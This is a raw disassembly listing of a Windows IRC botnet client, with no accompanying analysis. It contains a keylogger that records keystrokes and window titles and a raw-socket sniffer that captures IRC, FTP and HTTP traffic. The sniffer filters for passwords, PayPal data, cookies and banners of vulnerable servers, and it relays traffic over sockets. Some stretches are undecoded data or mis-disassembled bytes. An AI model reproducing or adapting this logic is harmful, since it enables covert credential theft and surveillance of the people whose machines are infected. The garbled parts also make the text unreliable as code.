85C6FFFFh, 0FFFFFB31h, 0A04AE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 4015FF36h, 0FF004D12h, 8815FF36h dd 0FF004D12h, 0FE80875h, 59FFFF97h, 0E3DEE853h, 68AC0072h dd 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh dd 0FFFFFB31h, 9FFEE85Ah, 0C4830000h, 30858D0Ch, 53FFFFFBh dd 0FF50086Ah, 4015FF36h, 0FF004D12h, 39E85736h, 59000000h dd 15FF5759h, 4D1288h, 15FF36FFh, 4D1288h, 0E80875FFh dd 0FFFF96B2h, 81E85359h, 870072E3h ; --------------------------------------------------------------------------- loc_411C80: ; CODE XREF: .nsp0:00411A8Dj ; .nsp0:00411A9Aj push dword ptr [esi] call dword_4D1288 ; closesocket push dword ptr [ebp+8] call sub_40B32A pop ecx push ebx call near ptr 0B40000h ; --------------------------------------------------------------------------- db 21h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_411CAE: ; CODE XREF: .nsp0:00411D5Dj ; .nsp0:00411D8Dj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_411CC6: ; CODE XREF: .nsp0:00411CD4j mov edx, [ebp+8] cmp [eax], edx jz short loc_411CD6 inc ecx add eax, 4 cmp ecx, 1 jb short loc_411CC6 loc_411CD6: ; CODE XREF: .nsp0:00411CCBj cmp ecx, 1 jnz short loc_411CEB mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_411CEB: ; CODE XREF: .nsp0:00411CD9j push esi lea eax, [ebp-504h] push edi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4D11D8 ; select lea eax, [ebp-104h] push eax push ebx call dword_4D10DC ; __WSAFDIsSet test eax, eax jz short loc_411D4B push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4D1208 ; recv cmp eax, 0FFFFFFFFh jz short loc_411D93 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jz short loc_411D93 loc_411D4B: ; CODE XREF: .nsp0:00411D1Dj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4D10DC ; __WSAFDIsSet test eax, eax jz loc_411CAE push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4D1208 ; recv cmp eax, 0FFFFFFFFh jz short loc_411D93 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jnz loc_411CAE loc_411D93: ; CODE XREF: .nsp0:00411D32j ; .nsp0:00411D49j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- dword_411D98 dd 81EC8B55h, 87CECh, 8558B00h, 6A575653h, 58DB3301h, 0A9B9h ; DATA XREF: .nsp0:00403BD8o ; sub_40B9DD+106o dd 8DF28B00h, 0FFFC8CBDh, 26A53FFh, 85FFA5F3h, 0FFFFFE9Ch dd 4589026Ah, 0EC4589F0h, 89F84589h, 2A082h, 7015FF00h dd 8B004D12h, 0FFFE83F0h, 90685675h, 0FF000001h, 42706415h dd 289D3900h, 75FFFFFFh, 858D5323h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF7BBDE8h dd 14C483FFh, 0F888858Dh, 0E850FFFFh, 3982h, 0FE98B5FFh dd 0FBE8FFFFh, 59FFFF94h, 0C9E85359h, 8E0072E1h, 6AF0458Dh dd 0FFBF5004h, 6A0000FFh, 0FF565704h, 4D11D015h, 0EC458D00h dd 6A50046Ah, 0FF5657FBh, 4D11D015h, 98858B00h, 6AFFFFFEh dd 34C06910h, 53000002h, 412CB089h, 458D0044h, 0C5E850D4h dd 8300009Dh, 0C7660CC4h, 2D445h, 0FEA0B5FFh, 15FFFFFFh dd 4D11F0h, 0D6458966h, 6AD4458Dh, 89565010h, 15FFD85Dh dd 4D121Ch, 75FFF883h, 13886819h, 15FF0000h, 427064h, 0FE9C8DFFh dd 75FFFFFFh, 347E908h, 858D0000h, 0FFFFFC90h, 42907068h dd 0E5E85000h, 5900009Ch, 8959C33Bh, 4C75FC45h, 19068h dd 6415FF00h, 53004270h, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h dd 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 0CBE8FFFFh, 8DFFFF7Ah dd 0FFF88885h, 93E850FFh, 0FF000038h, 0FFFE98B5h, 940CE8FFh dd 0C483FFFFh, 0D9E8531Ch, 9F0072E0h, 39087D8Bh, 2A09Fh dd 95840F00h, 0BF000002h, 80h, 0FF30858Dh, 5357FFFFh, 0E445C750h dd 5, 88E845C7h, 89000013h, 0FFF788B5h, 8485C7FFh, 1FFFFF7h dd 0E8000000h, 9CD8h, 8D0CC483h, 5350E445h, 0F784858Dh dd 5053FFFFh, 0D815FF53h, 85004D11h, 398E0FC0h, 0A0000002h dd 443398h, 8588CF8Bh, 0FFFFFA88h, 0BD8DC033h, 0FFFFFA89h dd 10F445C7h, 0F3000000h, 0AAAB66ABh, 50F4458Dh, 50C4458Dh dd 30858D53h, 68FFFFFFh, 80h, 15FF5650h, 4D11C8h, 89C875FFh dd 15FFF845h, 4D127Ch, 0B0458D50h, 9F5CE850h, 9D380000h dd 0FFFFFF30h, 850F5959h, 1C2h, 0FF31BD80h, 0F01FFFFh dd 0BB85h, 94858D00h, 50FFFFFDh, 988FE8h, 0FF535300h, 0B2E8FC75h dd 0FF0000B8h, 858DFC75h, 0FFFFFA8Ch, 0FA889D88h, 85C6FFFFh dd 0FFFFFA89h, 2006803h, 16A0000h, 8A9D8850h, 0C6FFFFFAh dd 0FFFA8B85h, 55E801FFh, 83000099h, 4D8D20C4h, 0F84589C4h dd 0FF04C083h, 5351F475h, 88858D50h, 50FFFFFAh, 5415FF56h dd 8D004D12h, 8D50B045h, 0FFF88885h, 0C95468FFh, 0E8500043h dd 9EC6h, 390CC483h, 0FFFF289Dh, 532375FFh, 0F888858Dh dd 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh dd 37E8FFFFh, 83FFFF79h, 858D14C4h, 0FFFFF888h, 36FCE850h dd 0E9590000h, 110h, 0FF31BD80h, 0F04FFFFh, 0ED85h, 338D8A00h dd 8AFFFFFFh, 0FFFF3285h, 0FFF980FFh, 0FA889D88h, 85C6FFFFh dd 0FFFFFA89h, 0FE127503h, 88C932C0h, 0FFFA8A85h, 8B9D88FFh dd 0EBFFFFFAh, 88C1FE0Eh, 0FFFA8A85h, 8B8D88FFh, 0FFFFFFAh dd 0B60FC0B6h, 8E0C1C9h, 0BFC103h, 0C1000002h, 0C72B09E0h dd 75FF5053h, 0B7A3E8FCh, 75FF0000h, 8C858DFCh, 57FFFFFAh dd 0E850016Ah, 9864h, 8B1CC483h, 0C4458DF8h, 0FFF87D89h dd 8D50F475h, 50530447h, 0FA88858Dh, 5650FFFFh, 125415FFh dd 0FB3B004Dh, 458D6E75h, 858D50B0h, 0FFFFF888h, 43C93468h dd 0CFE85000h, 8300009Dh, 9D390CC4h, 0FFFFFF28h, 8D532375h dd 0FFF88885h, 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh dd 0FFFC8CB5h, 7840E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h dd 3605E8h, 0FC05FF00h, 59004D3Ch, 75FF16EBh, 0C4458DF4h dd 96A5350h, 43C92868h, 15FF5600h, 4D1254h, 0FF85D39h dd 0FFFD5F8Fh, 87D8BFFh, 8815FF56h, 0FF004D12h, 30E8FC75h dd 0FF000097h, 0FFFE9C8Dh, 0A09F39FFh, 59000002h, 0B5FF1375h dd 0FFFFFE98h, 0FF9135E8h, 0E85359FFh, 72DE04h, 3E86849h dd 15FF0000h, 427064h, 0FB8AE857h, 5E5FFFFFh, 4C2C95Bh db 0 ; --------------------------------------------------------------------------- loc_412215: ; CODE XREF: .nsp0:004123AAp ; .nsp0:00412549p push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call dword_427130 ; GetLocalTime lea eax, [ebp-114h] push 104h push eax call near ptr 0B40000h mov dh, 8Dh test ebp, esp ; --------------------------------------------------------------------------- dw 0FFFEh ; --------------------------------------------------------------------------- jmp fword ptr [eax+14h] ; --------------------------------------------------------------------------- rol dword ptr [ebx+0], 1 push eax call sub_41C560 lea eax, [ebp-114h] push offset aWinntse_bat ; "winntse.bat" push eax call sub_41C560 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41BBB8 mov esi, eax add esp, 18h test esi, esi jnz short loc_41227C push 1 pop eax jmp short loc_4122F3 ; --------------------------------------------------------------------------- loc_41227C: ; CODE XREF: .nsp0:00412275j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41C49F push esi call sub_41B90B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_4122F1 push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_43D0E4 push 200h push eax call sub_41C030 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 24h loc_4122F1: ; CODE XREF: .nsp0:004122B8j xor eax, eax loc_4122F3: ; CODE XREF: .nsp0:0041227Aj pop esi leave retn ; --------------------------------------------------------------------------- loc_4122F6: ; DATA XREF: .nsp0:00405F0Fo push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+8] push ebx push esi push edi and dword ptr [ebp-8DCh], 0 push 25h and dword ptr [ebp-4], 0 pop ecx mov esi, eax lea edi, [ebp-0DCh] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp-8D8h] rep stosd call dword_4D1174 ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax mov [ebp-8], eax call dword_4D118C ; GetWindowTextA mov ebx, 200h loc_412351: ; CODE XREF: .nsp0:004125BDj push 8 call dword_427064 ; Sleep call dword_4D1174 ; GetForegroundWindow cmp eax, [ebp-8] jz short loc_4123D9 lea ecx, [ebp-48h] push 3Ch push ecx push eax mov [ebp-8], eax call dword_4D118C ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax lea eax, [ebp-4DCh] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_41BF36 sub esp, 84h lea esi, [ebp-0DCh] lea eax, [ebp-4DCh] push 25h pop ecx mov edi, esp push eax rep movsd call loc_412215 mov [ebp-4], eax push ebx lea eax, [ebp-2DCh] push 0 push eax call sub_41BC40 add esp, 0A4h lea eax, [ebp-4DCh] push ebx push 0 push eax call sub_41BC40 add esp, 0Ch loc_4123D9: ; CODE XREF: .nsp0:00412362j mov dword ptr [ebp+8], offset aB_1 ; "b" loc_4123E0: ; CODE XREF: .nsp0:004125B3j push 10h call dword_4D10C4 ; GetKeyState movsx esi, ax mov eax, [ebp+8] mov edi, [eax-4] push edi call dword_4D11BC ; GetAsyncKeyState test ah, 80h jz short loc_412478 push 14h call dword_4D10C4 ; GetKeyState test ax, ax jz short loc_412429 cmp esi, 0FFFFFFFFh jle short loc_412429 cmp edi, 40h jle short loc_412429 cmp edi, 5Bh jge short loc_412429 mov dword ptr [ebp+edi*4-8DCh], 1 jmp loc_4125A8 ; --------------------------------------------------------------------------- loc_412429: ; CODE XREF: .nsp0:00412408j ; .nsp0:0041240Dj ... push 14h call dword_4D10C4 ; GetKeyState test ax, ax jz short loc_412454 test esi, esi jge short loc_412468 cmp edi, 40h jle short loc_412454 cmp edi, 5Bh jge short loc_412454 mov dword ptr [ebp+edi*4-8DCh], 2 jmp loc_4125A8 ; --------------------------------------------------------------------------- loc_412454: ; CODE XREF: .nsp0:00412434j ; .nsp0:0041243Dj ... test esi, esi jge short loc_412468 mov dword ptr [ebp+edi*4-8DCh], 3 jmp loc_4125A8 ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: .nsp0:00412438j ; .nsp0:00412456j mov dword ptr [ebp+edi*4-8DCh], 4 jmp loc_4125A8 ; --------------------------------------------------------------------------- loc_412478: ; CODE XREF: .nsp0:004123FBj mov esi, [ebp+edi*4-8DCh] lea eax, [ebp+edi*4-8DCh] test esi, esi jz loc_4125A8 and dword ptr [eax], 0 lea eax, [ebp-2DCh] cmp edi, 8 push eax jnz short loc_4124B0 call sub_41B890 and byte ptr [ebp+eax-2DDh], 0 pop ecx jmp loc_4125A8 ; --------------------------------------------------------------------------- loc_4124B0: ; CODE XREF: .nsp0:0041249Bj call sub_41B890 cmp eax, 1B9h pop ecx jbe short loc_4124E2 call dword_4D1174 ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax call dword_4D118C ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_412523 ; --------------------------------------------------------------------------- loc_4124E2: ; CODE XREF: .nsp0:004124BBj cmp edi, 0Dh jnz loc_41257A lea eax, [ebp-2DCh] push eax call sub_41B890 test eax, eax pop ecx jz loc_4125A8 call dword_4D1174 ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax call dword_4D118C ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_412523: ; CODE XREF: .nsp0:004124E0j lea eax, [ebp-4DCh] push eax call sub_41BF36 sub esp, 84h lea esi, [ebp-0DCh] lea eax, [ebp-4DCh] push 25h pop ecx mov edi, esp push eax rep movsd call loc_412215 mov [ebp-4], eax push ebx lea eax, [ebp-2DCh] push 0 push eax call sub_41BC40 add esp, 0A4h lea eax, [ebp-4DCh] push ebx push 0 push eax call sub_41BC40 add esp, 0Ch jmp short loc_4125A8 ; --------------------------------------------------------------------------- loc_41257A: ; CODE XREF: .nsp0:004124E5j cmp esi, 1 jz short loc_412593 cmp esi, 3 jz short loc_412593 cmp esi, 2 jz short loc_41258E cmp esi, 4 jnz short loc_4125A8 loc_41258E: ; CODE XREF: .nsp0:00412587j push dword ptr [ebp+8] jmp short loc_41259A ; --------------------------------------------------------------------------- loc_412593: ; CODE XREF: .nsp0:0041257Dj ; .nsp0:00412582j mov eax, [ebp+8] add eax, 7 push eax loc_41259A: ; CODE XREF: .nsp0:00412591j lea eax, [ebp-2DCh] push eax call sub_41C560 pop ecx pop ecx loc_4125A8: ; CODE XREF: .nsp0:00412424j ; .nsp0:0041244Fj ... add dword ptr [ebp+8], 14h cmp dword ptr [ebp+8], offset dword_43D0AC jl loc_4123E0 cmp dword ptr [ebp-4], 0 jz loc_412351 push dword ptr [ebp-0D8h] call sub_40B32A pop ecx push 0 call near ptr 0B40000h push es loc_4125D7: ; DATA XREF: .nsp0:00405C0Co push ebp mov ebp, esp mov eax, 102B4h call sub_41C1D0 mov edx, [ebp+8] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp-0B4h] pop ecx mov [ebp-8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp-1Ch] push esi push eax call sub_41BC40 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push esi call dword_4D11F0 ; ntohs push dword ptr [ebp-0B4h] mov [ebp-1Ah], ax call sub_40AB6A pop ecx push eax call dword_4D1230 ; inet_addr push esi push 3 push 2 mov [ebp-18h], eax call dword_4D1270 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-4], edi jnz short loc_4126AC call dword_4D1184 ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset dword_43DAB4 push eax call sub_41BF36 add esp, 0Ch cmp [ebp-28h], esi jnz short loc_41268F push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4099D2 add esp, 14h loc_41268F: ; CODE XREF: .nsp0:0041266Dj lea eax, [ebp-2B4h] push eax call sub_4157A6 push dword ptr [ebp-30h] call sub_40B32A pop ecx pop ecx push esi call near ptr 0B40000h pop ds loc_4126AC: ; CODE XREF: .nsp0:0041264Dj mov eax, [ebp-30h] push 10h imul eax, 234h mov dword_44412C[eax], edi lea eax, [ebp-1Ch] push eax push edi call dword_4D121C ; bind cmp eax, 0FFFFFFFFh jnz short loc_412731 call dword_4D1184 ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset dword_43DA88 push eax call sub_41BF36 add esp, 0Ch cmp [ebp-28h], esi jnz short loc_41270D push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4099D2 add esp, 14h loc_41270D: ; CODE XREF: .nsp0:004126EBj lea eax, [ebp-2B4h] push eax call sub_4157A6 pop ecx push edi call dword_4D1288 ; closesocket push dword ptr [ebp-30h] call sub_40B32A pop ecx push esi call near ptr 0B40000h xchg eax, ecx loc_412731: ; CODE XREF: .nsp0:004126CBj push esi lea eax, [ebp-20h] push esi push eax push esi push esi lea eax, [ebp-8] push 4 push eax push 98000001h push edi call dword_4D119C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4127B4 call dword_4D1184 ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset dword_43DA58 push eax call sub_41BF36 add esp, 0Ch cmp [ebp-28h], esi jnz short loc_412790 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4099D2 add esp, 14h loc_412790: ; CODE XREF: .nsp0:0041276Ej lea eax, [ebp-2B4h] push eax call sub_4157A6 pop ecx push edi call dword_4D1288 ; closesocket push dword ptr [ebp-30h] call sub_40B32A pop ecx push esi call near ptr 0B40000h pop ecx loc_4127B4: ; CODE XREF: .nsp0:0041274Ej push ebx mov ebx, offset dword_43D170 loc_4127BA: ; CODE XREF: .nsp0:004127F2j ; .nsp0:00412804j ... mov edi, 0FFFFh lea eax, [ebp-102B4h] push edi push esi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp-102B4h] push esi push edi push eax push dword ptr [ebp-4] call dword_4D1208 ; recv cmp eax, 0FFFFFFFFh jz loc_4128E7 cmp byte ptr [ebp-102ABh], 6 jnz short loc_4127BA mov eax, [ebp-102A8h] cmp byte ptr [ebp-10293h], 18h mov [ebp-0Ch], eax jnz short loc_4127BA lea eax, [ebp-1028Ch] push offset dword_43DA4C push eax call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4127BA lea eax, [ebp-1028Ch] push offset dword_43DA3C push eax call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4127BA mov eax, ebx xor edi, edi test eax, eax jz loc_4127BA mov [ebp+8], ebx loc_412843: ; CODE XREF: .nsp0:0041285Ej push eax lea eax, [ebp-1028Ch] push eax call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412865 inc edi add dword ptr [ebp+8], 18h mov eax, [ebp+8] jnz short loc_412843 jmp loc_4127BA ; --------------------------------------------------------------------------- loc_412865: ; CODE XREF: .nsp0:00412854j lea eax, [ebp-1028Ch] push eax push dword ptr [ebp-102A0h] call dword_4D1120 ; ntohs movzx eax, ax push eax push dword ptr [ebp-0Ch] call dword_4D127C ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_43D184[eax*8] push off_43D160[eax*4] lea eax, [ebp-2B4h] push offset dword_43DA08 push 200h push eax call sub_41C030 add esp, 1Ch cmp [ebp-28h], esi jnz short loc_4128D5 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4099D2 add esp, 14h loc_4128D5: ; CODE XREF: .nsp0:004128B3j lea eax, [ebp-2B4h] push eax call sub_4157A6 pop ecx jmp loc_4127BA ; --------------------------------------------------------------------------- loc_4128E7: ; CODE XREF: .nsp0:004127E5j call dword_4D1184 ; WSAGetLastError push eax push offset dword_43D9DC lea eax, [ebp-2B4h] push 200h push eax call sub_41C030 add esp, 10h cmp [ebp-28h], esi pop ebx jnz short loc_41292D push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_4099D2 add esp, 14h loc_41292D: ; CODE XREF: .nsp0:0041290Bj lea eax, [ebp-2B4h] push eax call sub_4157A6 pop ecx push dword ptr [ebp-4] call dword_4D1288 ; closesocket push dword ptr [ebp-30h] call sub_40B32A pop ecx push esi call near ptr 0B40000h cmp eax, 424448Bh mov dword_4D3F60, eax mov eax, offset dword_4D3F60 retn ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push offset aBotSniff ; "Bot sniff" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_41297C loc_412978: ; CODE XREF: .nsp0:0041298Bj ; .nsp0:0041299Cj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41297C: ; CODE XREF: .nsp0:00412976j push offset aMss2 ; "#mss2" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412978 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412978 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412978 push offset aJoin_0 ; "JOIN #" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_4129C4 loc_4129C0: ; CODE XREF: .nsp0:004129D3j ; .nsp0:004129E4j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4129C4: ; CODE XREF: .nsp0:004129BEj push offset a302_0 ; "302 " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4129C0 push offset a366 ; "366 " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4129C0 push offset a_login_0 ; ":.login" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4129C0 push offset aLogin_1 ; ":!login" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4129C0 push offset aLogin_0 ; ":!Login" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4129C0 push offset a_login ; ":.Login" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4129C0 push offset a_ident ; ":.ident" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4129C0 push offset aIdent ; ":!ident" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_4129C0 push offset a_hashin ; ":.hashin" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_4129C0 push offset aHashin ; ":!hashin" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx pop esi setnz al retn ; =============== S U B R O U T I N E ======================================= sub_412A79 proc near ; CODE XREF: .nsp0:00412F5Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_412A93 loc_412A8F: ; CODE XREF: sub_412A79+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412A93: ; CODE XREF: sub_412A79+14j push offset aMss2 ; "#mss2" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412A8F push offset aOper_0 ; "OPER " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_412AB9 loc_412AB5: ; CODE XREF: sub_412A79+4Fj ; sub_412A79+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412AB9: ; CODE XREF: sub_412A79+3Aj push offset aNick_1 ; "NICK " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412AB5 push offset aOper ; "oper " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412AB5 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412A79 endp ; =============== S U B R O U T I N E ======================================= sub_412AEF proc near ; CODE XREF: .nsp0:00412F90p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_412B09 loc_412B05: ; CODE XREF: sub_412AEF+29j ; sub_412AEF+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412B09: ; CODE XREF: sub_412AEF+14j push offset aMss2 ; "#mss2" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412B05 push offset aNick_1 ; "NICK " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412B05 push offset a220 ; "220 " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_412B40 loc_412B3C: ; CODE XREF: sub_412AEF+60j ; sub_412AEF+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412B40: ; CODE XREF: sub_412AEF+4Bj push offset a230 ; "230 " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412B3C push offset aUser_3 ; "USER " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412B3C push offset aPass_1 ; "PASS " push esi call sub_41BFB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412AEF endp ; =============== S U B R O U T I N E ======================================= sub_412B76 proc near ; CODE XREF: .nsp0:00412FC1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_412B90 loc_412B8C: ; CODE XREF: sub_412B76+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412B90: ; CODE XREF: sub_412B76+14j push offset aMss2 ; "#mss2" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412B8C push offset aPaypal ; "paypal" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_412BB6 loc_412BB2: ; CODE XREF: sub_412B76+4Fj ; sub_412B76+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412BB6: ; CODE XREF: sub_412B76+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412BB2 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412BB2 push offset aPaypal_com ; "paypal.com" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412BB2 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412B76 endp ; =============== S U B R O U T I N E ======================================= sub_412BFD proc near ; CODE XREF: .nsp0:loc_413027p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_412C17 loc_412C13: ; CODE XREF: sub_412BFD+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412C17: ; CODE XREF: sub_412BFD+14j push offset aMss2 ; "#mss2" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412C13 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_412C3D loc_412C39: ; CODE XREF: sub_412BFD+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412C3D: ; CODE XREF: sub_412BFD+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_412C39 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41BFB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412BFD endp ; --------------------------------------------------------------------------- loc_412C62: ; DATA XREF: .nsp0:00405D5Bo push ebp mov ebp, esp mov eax, 113B8h call sub_41C1D0 mov eax, [ebp+8] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp-0B8h] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp-3B7h] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp-3B8h], bl push 0FFh rep stosd stosw lea eax, [ebp-3B8h] mov word ptr [ebp-20h], 2 push eax mov [ebp-1Eh], bx mov [ebp-1Ch], ebx call dword_4D1204 ; gethostname lea eax, [ebp-3B8h] push eax call dword_4D1274 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp-8] push eax call near ptr sub_41C9B0 mov eax, [ebp-8] add esp, 0Ch mov [ebp-1Ch], eax push ebx push 3 push 2 call dword_4D1270 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-10h], edi jnz short loc_412D08 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412D08: ; CODE XREF: .nsp0:00412CFDj lea eax, [ebp-20h] push 10h push eax push edi call dword_4D121C ; bind cmp eax, 0FFFFFFFFh jnz short loc_412D7E call dword_4D1184 ; WSAGetLastError push eax lea eax, [ebp-2B8h] push 